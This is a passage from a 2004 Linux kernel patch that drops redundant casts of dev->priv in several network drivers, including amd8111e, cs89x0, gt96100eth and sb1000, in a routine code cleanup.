amd8111e_set_ext_phy(struct net_device *dev) { - struct amd8111e_priv *lp = (struct amd8111e_priv *)dev->priv; + struct amd8111e_priv *lp = dev->priv; u32 bmcr,advert,tmp; /* Determine mii register values to set the speed */ @@ -239,7 +239,7 @@ all transmit and receive skbuffs. */ static int amd8111e_free_skbs(struct net_device *dev) { - struct amd8111e_priv *lp = (struct amd8111e_priv *)dev->priv; + struct amd8111e_priv *lp = dev->priv; struct sk_buff* rx_skbuff; int i; @@ -290,7 +290,7 @@ This function will free all the previous */ static int amd8111e_init_ring(struct net_device *dev) { - struct amd8111e_priv *lp = (struct amd8111e_priv *)dev->priv; + struct amd8111e_priv *lp = dev->priv; int i; lp->rx_idx = lp->tx_idx = 0; @@ -1185,7 +1185,7 @@ static int amd8111e_close(struct net_dev */ static int amd8111e_open(struct net_device * dev ) { - struct amd8111e_priv *lp = (struct amd8111e_priv *)dev->priv; + struct amd8111e_priv *lp = dev->priv; if(dev->irq ==0 || request_irq(dev->irq, amd8111e_interrupt, SA_SHIRQ, dev->name, dev)) diff -puN drivers/net/ariadne.c~drivers_net_casts drivers/net/ariadne.c --- linux-263-229/drivers/net/ariadne.c~drivers_net_casts 2004-02-29 14:03:33.000000000 -0800 +++ linux-263-229-rddunlap/drivers/net/ariadne.c 2004-02-29 14:03:33.000000000 -0800 @@ -333,7 +333,7 @@ static int ariadne_open(struct net_devic static void ariadne_init_ring(struct net_device *dev) { - struct ariadne_private *priv = (struct ariadne_private *)dev->priv; + struct ariadne_private *priv = dev->priv; volatile struct lancedata *lancedata = (struct lancedata *)dev->mem_start; int i; @@ -379,7 +379,7 @@ static void ariadne_init_ring(struct net static int ariadne_close(struct net_device *dev) { - struct ariadne_private *priv = (struct ariadne_private *)dev->priv; + struct ariadne_private *priv = dev->priv; volatile struct Am79C960 *lance = (struct Am79C960*)dev->base_addr; netif_stop_queue(dev); @@ -589,7 +589,7 @@ static void ariadne_tx_timeout(struct ne static int ariadne_start_xmit(struct sk_buff *skb, struct net_device *dev) { - struct ariadne_private *priv = (struct ariadne_private *)dev->priv; + struct ariadne_private *priv = dev->priv; volatile struct Am79C960 *lance = (struct Am79C960*)dev->base_addr; int entry; unsigned long flags; @@ -697,7 +697,7 @@ static int ariadne_start_xmit(struct sk_ static int ariadne_rx(struct net_device *dev) { - struct ariadne_private *priv = (struct ariadne_private *)dev->priv; + struct ariadne_private *priv = dev->priv; int entry = priv->cur_rx % RX_RING_SIZE; int i; @@ -787,7 +787,7 @@ static int ariadne_rx(struct net_device static struct net_device_stats *ariadne_get_stats(struct net_device *dev) { - struct ariadne_private *priv = (struct ariadne_private *)dev->priv; + struct ariadne_private *priv = dev->priv; volatile struct Am79C960 *lance = (struct Am79C960*)dev->base_addr; short saved_addr; unsigned long flags; diff -puN drivers/net/at1700.c~drivers_net_casts drivers/net/at1700.c --- linux-263-229/drivers/net/at1700.c~drivers_net_casts 2004-02-29 14:03:33.000000000 -0800 +++ linux-263-229-rddunlap/drivers/net/at1700.c 2004-02-29 14:03:33.000000000 -0800 @@ -618,7 +618,7 @@ static int __init read_eeprom(long ioadd static int net_open(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = dev->priv; int ioaddr = dev->base_addr; /* Set the configuration register 0 to 32K 100ns. byte-wide memory, 16 bit @@ -649,7 +649,7 @@ static int net_open(struct net_device *d static void net_tx_timeout (struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = dev->priv; int ioaddr = dev->base_addr; printk ("%s: transmit timed out with status %04x, %s?\n", dev->name, @@ -808,7 +808,7 @@ net_interrupt(int irq, void *dev_id, str static void net_rx(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = dev->priv; int ioaddr = dev->base_addr; int boguscount = 5; @@ -891,7 +891,7 @@ net_rx(struct net_device *dev) /* The inverse routine to net_open(). */ static int net_close(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = dev->priv; int ioaddr = dev->base_addr; netif_stop_queue(dev); @@ -919,7 +919,7 @@ static int net_close(struct net_device * static struct net_device_stats * net_get_stats(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = dev->priv; return &lp->stats; } @@ -931,7 +931,7 @@ static void set_rx_mode(struct net_device *dev) { int ioaddr = dev->base_addr; - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = dev->priv; unsigned char mc_filter[8]; /* Multicast hash filter */ unsigned long flags; int i; diff -puN drivers/net/atari_bionet.c~drivers_net_casts drivers/net/atari_bionet.c --- linux-263-229/drivers/net/atari_bionet.c~drivers_net_casts 2004-02-29 14:03:33.000000000 -0800 +++ linux-263-229-rddunlap/drivers/net/atari_bionet.c 2004-02-29 14:03:33.000000000 -0800 @@ -408,7 +408,7 @@ struct net_device * __init bionet_probe( */ static int bionet_open(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = dev->priv; if (bionet_debug > 0) printk("bionet_open\n"); @@ -433,7 +433,7 @@ bionet_open(struct net_device *dev) { static int bionet_send_packet(struct sk_buff *skb, struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = dev->priv; unsigned long flags; /* Block a timer-based transmit from overlapping. This could better be @@ -499,7 +499,7 @@ bionet_send_packet(struct sk_buff *skb, */ static void bionet_poll_rx(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = dev->priv; int boguscount = 10; int pkt_len, status; unsigned long flags; @@ -601,7 +601,7 @@ bionet_poll_rx(struct net_device *dev) { static void bionet_tick(unsigned long data) { struct net_device *dev = (struct net_device *)data; - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = dev->priv; if( bionet_debug > 0 && (lp->open_time++ & 7) == 8 ) printk("bionet_tick: %ld\n", lp->open_time); @@ -616,7 +616,7 @@ bionet_tick(unsigned long data) { */ static int bionet_close(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = dev->priv; if (bionet_debug > 0) printk("bionet_close, open_time=%ld\n", lp->open_time); @@ -638,7 +638,7 @@ bionet_close(struct net_device *dev) { */ static struct net_device_stats *net_get_stats(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = dev->priv; return &lp->stats; } diff -puN drivers/net/atp.c~drivers_net_casts drivers/net/atp.c --- linux-263-229/drivers/net/atp.c~drivers_net_casts 2004-02-29 14:03:33.000000000 -0800 +++ linux-263-229-rddunlap/drivers/net/atp.c 2004-02-29 14:03:33.000000000 -0800 @@ -432,7 +432,7 @@ static unsigned short __init eeprom_op(l */ static int net_open(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = dev->priv; int ret; /* The interrupt line is turned off (tri-stated) when the device isn't in @@ -458,7 +458,7 @@ static int net_open(struct net_device *d the hardware may have been temporarily detached. */ static void hardware_init(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = dev->priv; long ioaddr = dev->base_addr; int i; @@ -541,7 +541,7 @@ static void write_packet(long ioaddr, in static void tx_timeout(struct net_device *dev) { - struct net_local *np = (struct net_local *)dev->priv; + struct net_local *np = dev->priv; long ioaddr = dev->base_addr; printk(KERN_WARNING "%s: Transmit timed out, %s?\n", dev->name, @@ -557,7 +557,7 @@ static void tx_timeout(struct net_device static int atp_send_packet(struct sk_buff *skb, struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = dev->priv; long ioaddr = dev->base_addr; int length; unsigned long flags; @@ -726,7 +726,7 @@ static void atp_timed_checker(unsigned l { struct net_device *dev = (struct net_device *)data; long ioaddr = dev->base_addr; - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = dev->priv; int tickssofar = jiffies - lp->last_rx_time; int i; @@ -762,7 +762,7 @@ static void atp_timed_checker(unsigned l /* We have a good packet(s), get it/them out of the buffers. */ static void net_rx(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = dev->priv; long ioaddr = dev->base_addr; struct rx_header rx_head; @@ -838,7 +838,7 @@ static void read_block(long ioaddr, int static int net_close(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = dev->priv; long ioaddr = dev->base_addr; netif_stop_queue(dev); @@ -863,7 +863,7 @@ net_close(struct net_device *dev) static struct net_device_stats * net_get_stats(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = dev->priv; return &lp->stats; } @@ -873,7 +873,7 @@ net_get_stats(struct net_device *dev) static void set_rx_mode_8002(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = dev->priv; long ioaddr = dev->base_addr; if ( dev->mc_count > 0 || (dev->flags & (IFF_ALLMULTI|IFF_PROMISC))) { @@ -890,7 +890,7 @@ static void set_rx_mode_8002(struct net_ static void set_rx_mode_8012(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = dev->priv; long ioaddr = dev->base_addr; unsigned char new_mode, mc_filter[8]; /* Multicast hash filter */ int i; diff -puN drivers/net/bmac.c~drivers_net_casts drivers/net/bmac.c --- linux-263-229/drivers/net/bmac.c~drivers_net_casts 2004-02-29 14:03:33.000000000 -0800 +++ linux-263-229-rddunlap/drivers/net/bmac.c 2004-02-29 14:03:33.000000000 -0800 @@ -1086,7 +1086,7 @@ static int miscintcount; static irqreturn_t bmac_misc_intr(int irq, void *dev_id, struct pt_regs *regs) { struct net_device *dev = (struct net_device *) dev_id; - struct bmac_data *bp = (struct bmac_data *)dev->priv; + struct bmac_data *bp = dev->priv; unsigned int status = bmread(dev, STATUS); if (miscintcount++ < 10) { XXDEBUG(("bmac_misc_intr\n")); diff -puN drivers/net/cs89x0.c~drivers_net_casts drivers/net/cs89x0.c --- linux-263-229/drivers/net/cs89x0.c~drivers_net_casts 2004-02-29 14:03:33.000000000 -0800 +++ linux-263-229-rddunlap/drivers/net/cs89x0.c 2004-02-29 14:03:33.000000000 -0800 @@ -735,7 +735,7 @@ out1: static void get_dma_channel(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = dev->priv; if (lp->dma) { dev->dma = lp->dma; @@ -757,7 +757,7 @@ get_dma_channel(struct net_device *dev) static void write_dma(struct net_device *dev, int chip_type, int dma) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = dev->priv; if ((lp->isa_config & ANY_ISA_DMA) == 0) return; if (chip_type == CS8900) { @@ -770,7 +770,7 @@ write_dma(struct net_device *dev, int ch static void set_dma_cfg(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = dev->priv; if (lp->use_dma) { if ((lp->isa_config & ANY_ISA_DMA) == 0) { @@ -793,7 +793,7 @@ set_dma_cfg(struct net_device *dev) static int dma_bufcfg(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = dev->priv; if (lp->use_dma) return (lp->isa_config & ANY_ISA_DMA)? RX_DMA_ENBL : 0; else @@ -804,7 +804,7 @@ static int dma_busctl(struct net_device *dev) { int retval = 0; - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = dev->priv; if (lp->use_dma) { if (lp->isa_config & ANY_ISA_DMA) retval |= RESET_RX_DMA; /* Reset the DMA pointer */ @@ -820,7 +820,7 @@ dma_busctl(struct net_device *dev) static void dma_rx(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = dev->priv; struct sk_buff *skb; int status, length; unsigned char *bp = lp->rx_dma_ptr; @@ -882,7 +882,7 @@ skip_this_frame: void __init reset_chip(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = dev->priv; int ioaddr = dev->base_addr; int reset_start_time; @@ -912,7 +912,7 @@ void __init reset_chip(struct net_devic static void control_dc_dc(struct net_device *dev, int on_not_off) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = dev->priv; unsigned int selfcontrol; int timenow = jiffies; /* control the DC to DC convertor in the SelfControl register. @@ -940,7 +940,7 @@ control_dc_dc(struct net_device *dev, in static int detect_tp(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = dev->priv; int timenow = jiffies; int fdx; @@ -1055,7 +1055,7 @@ send_test_pkt(struct net_device *dev) static int detect_aui(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = dev->priv; if (net_debug > 1) printk("%s: Attempting AUI\n", dev->name); control_dc_dc(dev, 0); @@ -1071,7 +1071,7 @@ detect_aui(struct net_device *dev) static int detect_bnc(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = dev->priv; if (net_debug > 1) printk("%s: Attempting BNC\n", dev->name); control_dc_dc(dev, 1); @@ -1117,7 +1117,7 @@ write_irq(struct net_device *dev, int ch static int net_open(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = dev->priv; int result = 0; int i; int ret; @@ -1358,7 +1358,7 @@ static void net_timeout(struct net_devic static int net_send_packet(struct sk_buff *skb, struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = dev->priv; if (net_debug > 3) { printk("%s: sent %d byte packet of type %x\n", @@ -1517,7 +1517,7 @@ count_rx_errors(int status, struct net_l static void net_rx(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = dev->priv; struct sk_buff *skb; int status, length; @@ -1573,7 +1573,7 @@ static void release_dma_buff(struct net_ static int net_close(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = dev->priv; netif_stop_queue(dev); @@ -1600,7 +1600,7 @@ net_close(struct net_device *dev) static struct net_device_stats * net_get_stats(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = dev->priv; unsigned long flags; spin_lock_irqsave(&lp->lock, flags); @@ -1614,7 +1614,7 @@ net_get_stats(struct net_device *dev) static void set_multicast_list(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = dev->priv; unsigned long flags; spin_lock_irqsave(&lp->lock, flags); diff -puN drivers/net/eth16i.c~drivers_net_casts drivers/net/eth16i.c --- linux-263-229/drivers/net/eth16i.c~drivers_net_casts 2004-02-29 14:03:33.000000000 -0800 +++ linux-263-229-rddunlap/drivers/net/eth16i.c 2004-02-29 14:03:33.000000000 -0800 @@ -950,7 +950,7 @@ static void eth16i_eeprom_cmd(int ioaddr static int eth16i_open(struct net_device *dev) { - struct eth16i_local *lp = (struct eth16i_local *)dev->priv; + struct eth16i_local *lp = dev->priv; int ioaddr = dev->base_addr; /* Powerup the chip */ @@ -986,7 +986,7 @@ static int eth16i_open(struct net_device static int eth16i_close(struct net_device *dev) { - struct eth16i_local *lp = (struct eth16i_local *)dev->priv; + struct eth16i_local *lp = dev->priv; int ioaddr = dev->base_addr; eth16i_reset(dev); @@ -1012,7 +1012,7 @@ static int eth16i_close(struct net_devic static void eth16i_timeout(struct net_device *dev) { - struct eth16i_local *lp = (struct eth16i_local *)dev->priv; + struct eth16i_local *lp = dev->priv; int ioaddr = dev->base_addr; /* If we get here, some higher level has decided that @@ -1053,7 +1053,7 @@ static void eth16i_timeout(struct net_de static int eth16i_tx(struct sk_buff *skb, struct net_device *dev) { - struct eth16i_local *lp = (struct eth16i_local *)dev->priv; + struct eth16i_local *lp = dev->priv; int ioaddr = dev->base_addr; int status = 0; ushort length = skb->len; @@ -1130,7 +1130,7 @@ static int eth16i_tx(struct sk_buff *skb static void eth16i_rx(struct net_device *dev) { - struct eth16i_local *lp = (struct eth16i_local *)dev->priv; + struct eth16i_local *lp = dev->priv; int ioaddr = dev->base_addr; int boguscount = MAX_RX_LOOP; @@ -1340,7 +1340,7 @@ static void eth16i_skip_packet(struct ne static void eth16i_reset(struct net_device *dev) { - struct eth16i_local *lp = (struct eth16i_local *)dev->priv; + struct eth16i_local *lp = dev->priv; int ioaddr = dev->base_addr; if(eth16i_debug > 1) @@ -1372,7 +1372,7 @@ static void eth16i_multicast(struct net_ static struct net_device_stats *eth16i_get_stats(struct net_device *dev) { - struct eth16i_local *lp = (struct eth16i_local *)dev->priv; + struct eth16i_local *lp = dev->priv; return &lp->stats; } diff -puN drivers/net/fec.c~drivers_net_casts drivers/net/fec.c --- linux-263-229/drivers/net/fec.c~drivers_net_casts 2004-02-29 14:03:33.000000000 -0800 +++ linux-263-229-rddunlap/drivers/net/fec.c 2004-02-29 14:03:33.000000000 -0800 @@ -1531,7 +1531,7 @@ fec_enet_close(struct net_device *dev) static struct net_device_stats *fec_enet_get_stats(struct net_device *dev) { - struct fec_enet_private *fep = (struct fec_enet_private *)dev->priv; + struct fec_enet_private *fep = dev->priv; return &fep->stats; } diff -puN drivers/net/gt96100eth.c~drivers_net_casts drivers/net/gt96100eth.c --- linux-263-229/drivers/net/gt96100eth.c~drivers_net_casts 2004-02-29 14:03:33.000000000 -0800 +++ linux-263-229-rddunlap/drivers/net/gt96100eth.c 2004-02-29 14:03:33.000000000 -0800 @@ -277,7 +277,7 @@ read_MII(int phy_addr, u32 reg) static void dump_tx_desc(int dbg_lvl, struct net_device *dev, int i) { - struct gt96100_private *gp = (struct gt96100_private *)dev->priv; + struct gt96100_private *gp = dev->priv; gt96100_td_t *td = &gp->tx_ring[i]; dbg(dbg_lvl, "Tx descriptor at 0x%08lx:\n", virt_to_phys(td)); @@ -292,7 +292,7 @@ dump_tx_desc(int dbg_lvl, struct net_dev static void dump_rx_desc(int dbg_lvl, struct net_device *dev, int i) { - struct gt96100_private *gp = (struct gt96100_private *)dev->priv; + struct gt96100_private *gp = dev->priv; gt96100_rd_t *rd = &gp->rx_ring[i]; dbg(dbg_lvl, "Rx descriptor at 0x%08lx:\n", virt_to_phys(rd)); @@ -332,7 +332,7 @@ write_MII(int phy_addr, u32 reg, u16 dat static void dump_tx_ring(struct net_device *dev) { - struct gt96100_private *gp = (struct gt96100_private *)dev->priv; + struct gt96100_private *gp = dev->priv; int i; dbg(0, "%s: txno/txni/cnt=%d/%d/%d\n", __FUNCTION__, @@ -345,7 +345,7 @@ dump_tx_ring(struct net_device *dev) static void dump_rx_ring(struct net_device *dev) { - struct gt96100_private *gp = (struct gt96100_private *)dev->priv; + struct gt96100_private *gp = dev->priv; int i; dbg(0, "%s: rxno=%d\n", __FUNCTION__, gp->rx_next_out); @@ -359,7 +359,7 @@ static void dump_MII(int dbg_lvl, struct net_device *dev) { int i, val; - struct gt96100_private *gp = (struct gt96100_private *)dev->priv; + struct gt96100_private *gp = dev->priv; if (dbg_lvl <= GT96100_DEBUG) { for (i=0; i<7; i++) { @@ -419,7 +419,7 @@ dump_skb(int dbg_lvl, struct net_device static int gt96100_add_hash_entry(struct net_device *dev, unsigned char* addr) { - struct gt96100_private *gp = (struct gt96100_private *)dev->priv; + struct gt96100_private *gp = dev->priv; //u16 hashResult, stmp; //unsigned char ctmp, hash_ea[6]; u32 tblEntry1, tblEntry0, *tblEntryAddr; @@ -544,7 +544,7 @@ update_stats(struct gt96100_private *gp) static void abort(struct net_device *dev, u32 abort_bits) { - struct gt96100_private *gp = (struct gt96100_private *)dev->priv; + struct gt96100_private *gp = dev->priv; int timedout = 100; // wait up to 100 msec for hard stop to complete dbg(3, "%s\n", __FUNCTION__); @@ -582,7 +582,7 @@ abort(struct net_device *dev, u32 abort_ static void hard_stop(struct net_device *dev) { - struct gt96100_private *gp = (struct gt96100_private *)dev->priv; + struct gt96100_private *gp = dev->priv; dbg(3, "%s\n", __FUNCTION__); @@ -598,7 +598,7 @@ hard_stop(struct net_device *dev) static void enable_ether_irq(struct net_device *dev) { - struct gt96100_private *gp = (struct gt96100_private *)dev->priv; + struct gt96100_private *gp = dev->priv; u32 intMask; /* * route ethernet interrupt to GT_SERINT0 for port 0, @@ -631,7 +631,7 @@ enable_ether_irq(struct net_device *dev) static void disable_ether_irq(struct net_device *dev) { - struct gt96100_private *gp = (struct gt96100_private *)dev->priv; + struct gt96100_private *gp = dev->priv; u32 intMask; int intr_mask_reg = (gp->port_num == 0) ? GT96100_SERINT0_MASK : GT96100_INT0_HIGH_MASK; @@ -839,7 +839,7 @@ out: static void reset_tx(struct net_device *dev) { - struct gt96100_private *gp = (struct gt96100_private *)dev->priv; + struct gt96100_private *gp = dev->priv; int i; abort(dev, sdcmrAT); @@ -877,7 +877,7 @@ reset_tx(struct net_device *dev) static void reset_rx(struct net_device *dev) { - struct gt96100_private *gp = (struct gt96100_private *)dev->priv; + struct gt96100_private *gp = dev->priv; int i; abort(dev, sdcmrAR); @@ -934,7 +934,7 @@ gt96100_check_tx_consistent(struct gt961 static int gt96100_init(struct net_device *dev) { - struct gt96100_private *gp = (struct gt96100_private *)dev->priv; + struct gt96100_private *gp = dev->priv; u32 tmp; u16 mii_reg; @@ -1115,7 +1115,7 @@ gt96100_close(struct net_device *dev) static int gt96100_tx(struct sk_buff *skb, struct net_device *dev) { - struct gt96100_private *gp = (struct gt96100_private *)dev->priv; + struct gt96100_private *gp = dev->priv; unsigned long flags; int nextIn; @@ -1187,7 +1187,7 @@ gt96100_tx(struct sk_buff *skb, struct n static int gt96100_rx(struct net_device *dev, u32 status) { - struct gt96100_private *gp = (struct gt96100_private *)dev->priv; + struct gt96100_private *gp = dev->priv; struct sk_buff *skb; int pkt_len, nextOut, cdp; gt96100_rd_t *rd; @@ -1296,7 +1296,7 @@ gt96100_rx(struct net_device *dev, u32 s static void gt96100_tx_complete(struct net_device *dev, u32 status) { - struct gt96100_private *gp = (struct gt96100_private *)dev->priv; + struct gt96100_private *gp = dev->priv; int nextOut, cdp; gt96100_td_t *td; u32 cmdstat; @@ -1385,7 +1385,7 @@ static irqreturn_t gt96100_interrupt(int irq, void *dev_id, struct pt_regs *regs) { struct net_device *dev = (struct net_device *)dev_id; - struct gt96100_private *gp = (struct gt96100_private *)dev->priv; + struct gt96100_private *gp = dev->priv; u32 status; int handled = 0; @@ -1486,7 +1486,7 @@ gt96100_interrupt(int irq, void *dev_id, static void gt96100_tx_timeout(struct net_device *dev) { - struct gt96100_private *gp = (struct gt96100_private *)dev->priv; + struct gt96100_private *gp = dev->priv; unsigned long flags; spin_lock_irqsave(&gp->lock, flags); @@ -1511,7 +1511,7 @@ gt96100_tx_timeout(struct net_device *de static void gt96100_set_rx_mode(struct net_device *dev) { - struct gt96100_private *gp = (struct gt96100_private *)dev->priv; + struct gt96100_private *gp = dev->priv; unsigned long flags; //struct dev_mc_list *mcptr; @@ -1555,7 +1555,7 @@ gt96100_set_rx_mode(struct net_device *d static struct net_device_stats * gt96100_get_stats(struct net_device *dev) { - struct gt96100_private *gp = (struct gt96100_private *)dev->priv; + struct gt96100_private *gp = dev->priv; unsigned long flags; dbg(3, "%s: dev=%p\n", __FUNCTION__, dev); diff -puN drivers/net/mac89x0.c~drivers_net_casts drivers/net/mac89x0.c --- linux-263-229/drivers/net/mac89x0.c~drivers_net_casts 2004-02-29 14:03:33.000000000 -0800 +++ linux-263-229-rddunlap/drivers/net/mac89x0.c 2004-02-29 14:03:33.000000000 -0800 @@ -328,7 +328,7 @@ void __init reset_chip(struct net_device static int net_open(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = dev->priv; int i; /* Disable the interrupt for now */ @@ -392,7 +392,7 @@ net_send_packet(struct sk_buff *skb, str if (test_and_set_bit(0, (void*)&dev->tbusy) != 0) printk("%s: Transmitter access conflict.\n", dev->name); else { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = dev->priv; unsigned long flags; if (net_debug > 3) @@ -505,7 +505,7 @@ static irqreturn_t net_interrupt(int irq static void net_rx(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = dev->priv; struct sk_buff *skb; int status, length; @@ -571,7 +571,7 @@ net_close(struct net_device *dev) static struct net_device_stats * net_get_stats(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = dev->priv; unsigned long flags; local_irq_save(flags); @@ -585,7 +585,7 @@ net_get_stats(struct net_device *dev) static void set_multicast_list(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = dev->priv; if(dev->flags&IFF_PROMISC) { diff -puN drivers/net/ni5010.c~drivers_net_casts drivers/net/ni5010.c --- linux-263-229/drivers/net/ni5010.c~drivers_net_casts 2004-02-29 14:03:33.000000000 -0800 +++ linux-263-229-rddunlap/drivers/net/ni5010.c 2004-02-29 14:03:33.000000000 -0800 @@ -527,7 +527,7 @@ static void dump_packet(void *buf, int l /* We have a good packet, get it out of the buffer. */ static void ni5010_rx(struct net_device *dev) { - struct ni5010_local *lp = (struct ni5010_local *)dev->priv; + struct ni5010_local *lp = dev->priv; int ioaddr = dev->base_addr; unsigned char rcv_stat; struct sk_buff *skb; @@ -592,7 +592,7 @@ static void ni5010_rx(struct net_device static int process_xmt_interrupt(struct net_device *dev) { - struct ni5010_local *lp = (struct ni5010_local *)dev->priv; + struct ni5010_local *lp = dev->priv; int ioaddr = dev->base_addr; int xmit_stat; @@ -651,7 +651,7 @@ static int ni5010_close(struct net_devic closed. */ static struct net_device_stats *ni5010_get_stats(struct net_device *dev) { - struct ni5010_local *lp = (struct ni5010_local *)dev->priv; + struct ni5010_local *lp = dev->priv; PRINTK2((KERN_DEBUG "%s: entering ni5010_get_stats\n", dev->name)); @@ -693,7 +693,7 @@ static void ni5010_set_multicast_list(st static void hardware_send_packet(struct net_device *dev, char *buf, int length, int pad) { - struct ni5010_local *lp = (struct ni5010_local *)dev->priv; + struct ni5010_local *lp = dev->priv; int ioaddr = dev->base_addr; unsigned long flags; unsigned int buf_offs; diff -puN drivers/net/rrunner.c~drivers_net_casts drivers/net/rrunner.c --- linux-263-229/drivers/net/rrunner.c~drivers_net_casts 2004-02-29 14:03:33.000000000 -0800 +++ linux-263-229-rddunlap/drivers/net/rrunner.c 2004-02-29 14:03:33.000000000 -0800 @@ -960,7 +960,7 @@ static u32 rr_handle_event(struct net_de static void rx_int(struct net_device *dev, u32 rxlimit, u32 index) { - struct rr_private *rrpriv = (struct rr_private *)dev->priv; + struct rr_private *rrpriv = dev->priv; struct rr_regs *regs = rrpriv->regs; do { @@ -1133,7 +1133,7 @@ static irqreturn_t rr_interrupt(int irq, static void rr_timer(unsigned long data) { struct net_device *dev = (struct net_device *)data; - struct rr_private *rrpriv = (struct rr_private *)dev->priv; + struct rr_private *rrpriv = dev->priv; struct rr_regs *regs = rrpriv->regs; unsigned long flags; @@ -1160,7 +1160,7 @@ static void rr_timer(unsigned long data) static int rr_open(struct net_device *dev) { - struct rr_private *rrpriv = (struct rr_private *)dev->priv; + struct rr_private *rrpriv = dev->priv; struct pci_dev *pdev = rrpriv->pci_dev; struct rr_regs *regs; int ecode = 0; @@ -1418,7 +1418,7 @@ static int rr_close(struct net_device *d static int rr_start_xmit(struct sk_buff *skb, struct net_device *dev) { - struct rr_private *rrpriv = (struct rr_private *)dev->priv; + struct rr_private *rrpriv = dev->priv; struct rr_regs *regs = rrpriv->regs; struct ring_ctrl *txctrl; unsigned long flags; diff -puN drivers/net/sb1000.c~drivers_net_casts drivers/net/sb1000.c --- linux-263-229/drivers/net/sb1000.c~drivers_net_casts 2004-02-29 14:03:33.000000000 -0800 +++ linux-263-229-rddunlap/drivers/net/sb1000.c 2004-02-29 14:03:33.000000000 -0800 @@ -746,7 +746,7 @@ sb1000_rx(struct net_device *dev) int ioaddr, ns; unsigned int skbsize; struct sk_buff *skb; - struct sb1000_private *lp = (struct sb1000_private *)dev->priv; + struct sb1000_private *lp = dev->priv; struct net_device_stats *stats = &lp->stats; /* SB1000 frame constants */ @@ -905,7 +905,7 @@ sb1000_error_dpc(struct net_device *dev) char *name; unsigned char st[5]; int ioaddr[2]; - struct sb1000_private *lp = (struct sb1000_private *)dev->priv; + struct sb1000_private *lp = dev->priv; const unsigned char Command0[6] = {0x80, 0x26, 0x00, 0x00, 0x00, 0x00}; const int ErrorDpcCounterInitialize = 200; @@ -932,7 +932,7 @@ sb1000_open(struct net_device *dev) { char *name; int ioaddr[2], status; - struct sb1000_private *lp = (struct sb1000_private *)dev->priv; + struct sb1000_private *lp = dev->priv; const unsigned short FirmwareVersion[] = {0x01, 0x01}; ioaddr[0] = dev->base_addr; @@ -998,7 +998,7 @@ static int sb1000_dev_ioctl(struct net_d short PID[4]; int ioaddr[2], status, frequency; unsigned int stats[5]; - struct sb1000_private *lp = (struct sb1000_private *)dev->priv; + struct sb1000_private *lp = dev->priv; if (!(dev && dev->flags & IFF_UP)) return -ENODEV; @@ -1092,7 +1092,7 @@ static irqreturn_t sb1000_interrupt(int unsigned char st; int ioaddr[2]; struct net_device *dev = (struct net_device *) dev_id; - struct sb1000_private *lp = (struct sb1000_private *)dev->priv; + struct sb1000_private *lp = dev->priv; const unsigned char Command0[6] = {0x80, 0x2c, 0x00, 0x00, 0x00, 0x00}; const unsigned char Command1[6] = {0x80, 0x2e, 0x00, 0x00, 0x00, 0x00}; @@ -1148,7 +1148,7 @@ static irqreturn_t sb1000_interrupt(int static struct net_device_stats *sb1000_stats(struct net_device *dev) { - struct sb1000_private *lp = (struct sb1000_private *)dev->priv; + struct sb1000_private *lp = dev->priv; return &lp->stats; } @@ -1156,7 +1156,7 @@ static int sb1000_close(struct net_devic { int i; int ioaddr[2]; - struct sb1000_private *lp = (struct sb1000_private *)dev->priv; + struct sb1000_private *lp = dev->priv; if (sb1000_debug > 2) printk(KERN_DEBUG "%s: 